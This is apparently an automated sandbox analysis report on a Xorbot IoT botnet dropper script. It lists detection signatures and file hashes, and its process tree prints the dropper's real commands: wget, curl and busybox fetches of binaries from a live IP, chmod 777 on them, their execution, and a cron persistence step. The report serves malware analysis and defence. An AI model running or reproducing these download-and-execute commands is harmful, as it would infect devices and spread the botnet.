Analysis

  • max time kernel
    149s
  • max time network
    159s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    01/12/2024, 00:45

General

  • Target

    BNO1X_bins.sh

  • Size

    10KB

  • MD5

    29ec86d77f7675942f8a1012ba9709e4

  • SHA1

    062170abb27a237f8468cd5d69fd32f736fc96fe

  • SHA256

    b0ce3fe8b6465a2323009d188a1d3081ce5a76ae93bf4a2809b9aae99ee2205a

  • SHA512

    e28daec2232ae26a0a3a74cee182927727360e36d90970457ae70679a88e74489ffd9532af8c5293b96b8e9999b5fec788508aa0ec69762a22bd7373068e7636

  • SSDEEP

    192:1Iackckcuc9cBUY/u/xXfgbckckcuc9cBwEnH/T:1Ia/nv0wFW/xXfgb/nv0wfH/T

Malware Config

Signatures

  • Detects Xorbot 7 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Contacts a large (1798) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 8 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 8 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 5 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 2 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 18 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/BNO1X_bins.sh
    /tmp/BNO1X_bins.sh
    1⤵
      PID:649
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:653
        • /usr/bin/wget
          wget http://216.126.231.240/bins/ch2dnBtp1raG1J0jDBRWvyiu4xEEK1aHcP
          2⤵
          • Writes file to tmp directory
          PID:658
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/ch2dnBtp1raG1J0jDBRWvyiu4xEEK1aHcP
          2⤵
          • Checks CPU configuration
          • Reads runtime system information
          • Writes file to tmp directory
          PID:678
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/ch2dnBtp1raG1J0jDBRWvyiu4xEEK1aHcP
          2⤵
          • Writes file to tmp directory
          PID:682
        • /bin/chmod
          chmod 777 ch2dnBtp1raG1J0jDBRWvyiu4xEEK1aHcP
          2⤵
          • File and Directory Permissions Modification
          PID:683
        • /tmp/ch2dnBtp1raG1J0jDBRWvyiu4xEEK1aHcP
          ./ch2dnBtp1raG1J0jDBRWvyiu4xEEK1aHcP
          2⤵
          • Executes dropped EXE
          PID:684
        • /bin/rm
          rm ch2dnBtp1raG1J0jDBRWvyiu4xEEK1aHcP
          2⤵
            PID:686
          • /usr/bin/wget
            wget http://216.126.231.240/bins/f8QgRGQhX81fBREjrxVScqa5LeDWidaAEk
            2⤵
            • Writes file to tmp directory
            PID:687
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/f8QgRGQhX81fBREjrxVScqa5LeDWidaAEk
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:694
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/f8QgRGQhX81fBREjrxVScqa5LeDWidaAEk
            2⤵
            • Writes file to tmp directory
            PID:701
          • /bin/chmod
            chmod 777 f8QgRGQhX81fBREjrxVScqa5LeDWidaAEk
            2⤵
            • File and Directory Permissions Modification
            PID:705
          • /tmp/f8QgRGQhX81fBREjrxVScqa5LeDWidaAEk
            ./f8QgRGQhX81fBREjrxVScqa5LeDWidaAEk
            2⤵
            • Executes dropped EXE
            PID:706
          • /bin/rm
            rm f8QgRGQhX81fBREjrxVScqa5LeDWidaAEk
            2⤵
              PID:709
            • /usr/bin/wget
              wget http://216.126.231.240/bins/GxXWrTka3g0alBilJDr73X9CeNp7GeBsMh
              2⤵
              • Writes file to tmp directory
              PID:710
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/GxXWrTka3g0alBilJDr73X9CeNp7GeBsMh
              2⤵
              • Checks CPU configuration
              • Writes file to tmp directory
              PID:716
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/GxXWrTka3g0alBilJDr73X9CeNp7GeBsMh
              2⤵
              • Writes file to tmp directory
              PID:724
            • /bin/chmod
              chmod 777 GxXWrTka3g0alBilJDr73X9CeNp7GeBsMh
              2⤵
              • File and Directory Permissions Modification
              PID:727
            • /tmp/GxXWrTka3g0alBilJDr73X9CeNp7GeBsMh
              ./GxXWrTka3g0alBilJDr73X9CeNp7GeBsMh
              2⤵
              • Executes dropped EXE
              PID:728
            • /bin/rm
              rm GxXWrTka3g0alBilJDr73X9CeNp7GeBsMh
              2⤵
                PID:731
              • /usr/bin/wget
                wget http://216.126.231.240/bins/Y3uUAyeEohf9YBd7kUKSmgCwJ5hUqnM5ov
                2⤵
                • Writes file to tmp directory
                PID:732
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/Y3uUAyeEohf9YBd7kUKSmgCwJ5hUqnM5ov
                2⤵
                • Checks CPU configuration
                • Reads runtime system information
                • Writes file to tmp directory
                PID:742
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/Y3uUAyeEohf9YBd7kUKSmgCwJ5hUqnM5ov
                2⤵
                • Writes file to tmp directory
                PID:749
              • /bin/chmod
                chmod 777 Y3uUAyeEohf9YBd7kUKSmgCwJ5hUqnM5ov
                2⤵
                • File and Directory Permissions Modification
                PID:751
              • /tmp/Y3uUAyeEohf9YBd7kUKSmgCwJ5hUqnM5ov
                ./Y3uUAyeEohf9YBd7kUKSmgCwJ5hUqnM5ov
                2⤵
                • Executes dropped EXE
                PID:752
              • /bin/rm
                rm Y3uUAyeEohf9YBd7kUKSmgCwJ5hUqnM5ov
                2⤵
                  PID:754
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/IvrHV3YvMVIRkzI4QShkFD9UcOhGRVd0sj
                  2⤵
                  • Writes file to tmp directory
                  PID:755
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/IvrHV3YvMVIRkzI4QShkFD9UcOhGRVd0sj
                  2⤵
                  • Checks CPU configuration
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:756
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/IvrHV3YvMVIRkzI4QShkFD9UcOhGRVd0sj
                  2⤵
                  • Writes file to tmp directory
                  PID:759
                • /bin/chmod
                  chmod 777 IvrHV3YvMVIRkzI4QShkFD9UcOhGRVd0sj
                  2⤵
                  • File and Directory Permissions Modification
                  PID:763
                • /tmp/IvrHV3YvMVIRkzI4QShkFD9UcOhGRVd0sj
                  ./IvrHV3YvMVIRkzI4QShkFD9UcOhGRVd0sj
                  2⤵
                  • Executes dropped EXE
                  • Renames itself
                  • Reads runtime system information
                  PID:764
                  • /bin/sh
                    sh -c "crontab -l"
                    3⤵
                      PID:767
                      • /usr/bin/crontab
                        crontab -l
                        4⤵
                        • Reads runtime system information
                        PID:768
                    • /bin/sh
                      sh -c "crontab -"
                      3⤵
                        PID:769
                        • /usr/bin/crontab
                          crontab -
                          4⤵
                          • Creates/modifies Cron job
                          • Reads runtime system information
                          PID:771
                    • /bin/rm
                      rm IvrHV3YvMVIRkzI4QShkFD9UcOhGRVd0sj
                      2⤵
                        PID:774
                      • /usr/bin/wget
                        wget http://216.126.231.240/bins/9l9PUa6niUCVjJw8xRUZFk4EIIOz6iT5gt
                        2⤵
                          PID:778
                        • /usr/bin/curl
                          curl -O http://216.126.231.240/bins/9l9PUa6niUCVjJw8xRUZFk4EIIOz6iT5gt
                          2⤵
                            PID:790
                          • /bin/busybox
                            /bin/busybox wget http://216.126.231.240/bins/9l9PUa6niUCVjJw8xRUZFk4EIIOz6iT5gt
                            2⤵
                            • Writes file to tmp directory
                            PID:869
                          • /bin/chmod
                            chmod 777 9l9PUa6niUCVjJw8xRUZFk4EIIOz6iT5gt
                            2⤵
                            • File and Directory Permissions Modification
                            PID:881
                          • /tmp/9l9PUa6niUCVjJw8xRUZFk4EIIOz6iT5gt
                            ./9l9PUa6niUCVjJw8xRUZFk4EIIOz6iT5gt
                            2⤵
                            • Executes dropped EXE
                            PID:882
                          • /bin/rm
                            rm 9l9PUa6niUCVjJw8xRUZFk4EIIOz6iT5gt
                            2⤵
                              PID:883
                            • /usr/bin/wget
                              wget http://216.126.231.240/bins/hVPq2iikBWGYtM5PQw7qjUMVEtS7bi92py
                              2⤵
                                PID:885
                              • /usr/bin/curl
                                curl -O http://216.126.231.240/bins/hVPq2iikBWGYtM5PQw7qjUMVEtS7bi92py
                                2⤵
                                  PID:887
                                • /bin/busybox
                                  /bin/busybox wget http://216.126.231.240/bins/hVPq2iikBWGYtM5PQw7qjUMVEtS7bi92py
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:888
                                • /bin/chmod
                                  chmod 777 hVPq2iikBWGYtM5PQw7qjUMVEtS7bi92py
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:895
                                • /tmp/hVPq2iikBWGYtM5PQw7qjUMVEtS7bi92py
                                  ./hVPq2iikBWGYtM5PQw7qjUMVEtS7bi92py
                                  2⤵
                                  • Executes dropped EXE
                                  PID:896
                                • /bin/rm
                                  rm hVPq2iikBWGYtM5PQw7qjUMVEtS7bi92py
                                  2⤵
                                    PID:898
                                  • /usr/bin/wget
                                    wget http://216.126.231.240/bins/kCYljSLC1QM0xzLACctZFfgERSKm1B3qNs
                                    2⤵
                                      PID:904
                                    • /usr/bin/curl
                                      curl -O http://216.126.231.240/bins/kCYljSLC1QM0xzLACctZFfgERSKm1B3qNs
                                      2⤵
                                        PID:906
                                      • /bin/busybox
                                        /bin/busybox wget http://216.126.231.240/bins/kCYljSLC1QM0xzLACctZFfgERSKm1B3qNs
                                        2⤵
                                        • Writes file to tmp directory
                                        PID:916
                                      • /bin/chmod
                                        chmod 777 kCYljSLC1QM0xzLACctZFfgERSKm1B3qNs
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:919
                                      • /tmp/kCYljSLC1QM0xzLACctZFfgERSKm1B3qNs
                                        ./kCYljSLC1QM0xzLACctZFfgERSKm1B3qNs
                                        2⤵
                                        • Executes dropped EXE
                                        PID:920
                                      • /bin/rm
                                        rm kCYljSLC1QM0xzLACctZFfgERSKm1B3qNs
                                        2⤵
                                          PID:923
                                        • /usr/bin/wget
                                          wget http://216.126.231.240/bins/eICSDJZTJigQKCu9sV9Gyv7N83PmVIPBCY
                                          2⤵
                                          • System Network Configuration Discovery
                                          PID:924
                                        • /usr/bin/curl
                                          curl -O http://216.126.231.240/bins/eICSDJZTJigQKCu9sV9Gyv7N83PmVIPBCY
                                          2⤵
                                          • System Network Configuration Discovery
                                          PID:926

                                      Network

                                      MITRE ATT&CK Enterprise v15

                                      Replay Monitor

                                      Loading Replay Monitor...

                                      Downloads

                                      • /tmp/9l9PUa6niUCVjJw8xRUZFk4EIIOz6iT5gt

                                        Filesize

                                        119KB

                                        MD5

                                        1b166b95f9cb4b079ef1b9ec8363ddf3

                                        SHA1

                                        0d8eb08add467b3b5474f9b25909297fe7c2839c

                                        SHA256

                                        94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                                        SHA512

                                        983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                                      • /tmp/GxXWrTka3g0alBilJDr73X9CeNp7GeBsMh

                                        Filesize

                                        122KB

                                        MD5

                                        cd3d4b9c643e5b473fb4d88ed05f0716

                                        SHA1

                                        64ee7a97418583d759eaea8000890cc3bae1b5f4

                                        SHA256

                                        0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                                        SHA512

                                        164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                                      • /tmp/IvrHV3YvMVIRkzI4QShkFD9UcOhGRVd0sj

                                        Filesize

                                        127KB

                                        MD5

                                        89077b7bd4bcafca7713be43635c4862

                                        SHA1

                                        fc02edb8fba29ea8ee99e6157ef8560334530052

                                        SHA256

                                        78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                                        SHA512

                                        1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                                      • /tmp/Y3uUAyeEohf9YBd7kUKSmgCwJ5hUqnM5ov

                                        Filesize

                                        99KB

                                        MD5

                                        9438d9bc392bcf300a5583b6df5bc8f6

                                        SHA1

                                        375a6ae34b516f6f3eeea8030c4084f585017efa

                                        SHA256

                                        68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                                        SHA512

                                        1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                                      • /tmp/ch2dnBtp1raG1J0jDBRWvyiu4xEEK1aHcP

                                        Filesize

                                        151KB

                                        MD5

                                        3c90d5820bddcf7c5d1bd21dfa49d958

                                        SHA1

                                        5ba05bd489e50af97d6dc45e3a0be60e494d5083

                                        SHA256

                                        bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                                        SHA512

                                        54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                                      • /tmp/f8QgRGQhX81fBREjrxVScqa5LeDWidaAEk

                                        Filesize

                                        111KB

                                        MD5

                                        701e7a55a4f3650f5feee92a9860e5fc

                                        SHA1

                                        6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                                        SHA256

                                        ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                                        SHA512

                                        7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                                      • /tmp/hVPq2iikBWGYtM5PQw7qjUMVEtS7bi92py

                                        Filesize

                                        111KB

                                        MD5

                                        ca897a38f23ec23521ce0b1b83f8422d

                                        SHA1

                                        b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                                        SHA256

                                        043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                                        SHA512

                                        10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                                      • /tmp/kCYljSLC1QM0xzLACctZFfgERSKm1B3qNs

                                        Filesize

                                        107KB

                                        MD5

                                        eb9c3a0de91fcf16ba17cb24608df68c

                                        SHA1

                                        09d95a7d70d5e115d103be51edff7c498d272fac

                                        SHA256

                                        dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                                        SHA512

                                        9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                                      • /var/spool/cron/crontabs/tmp.QNUU9a

                                        Filesize

                                        210B

                                        MD5

                                        d2b2b2c9c24c5fb2bc4c0b879507c022

                                        SHA1

                                        bdc433214cb35efc8d10386eef78821e668d3996

                                        SHA256

                                        c3da191e90eeac3bdd98d8a3d25dca9e5eb4b6a99af0f2db18bb6ae21c81e60f

                                        SHA512

                                        26937295c64db2dc27b15cd6d5eff0cd05a0868c2d7617d5a8c51583f87a75ee17bf383abe18065cb5b60d1093a8bd22af749829a4a32e89127f032981bf3e56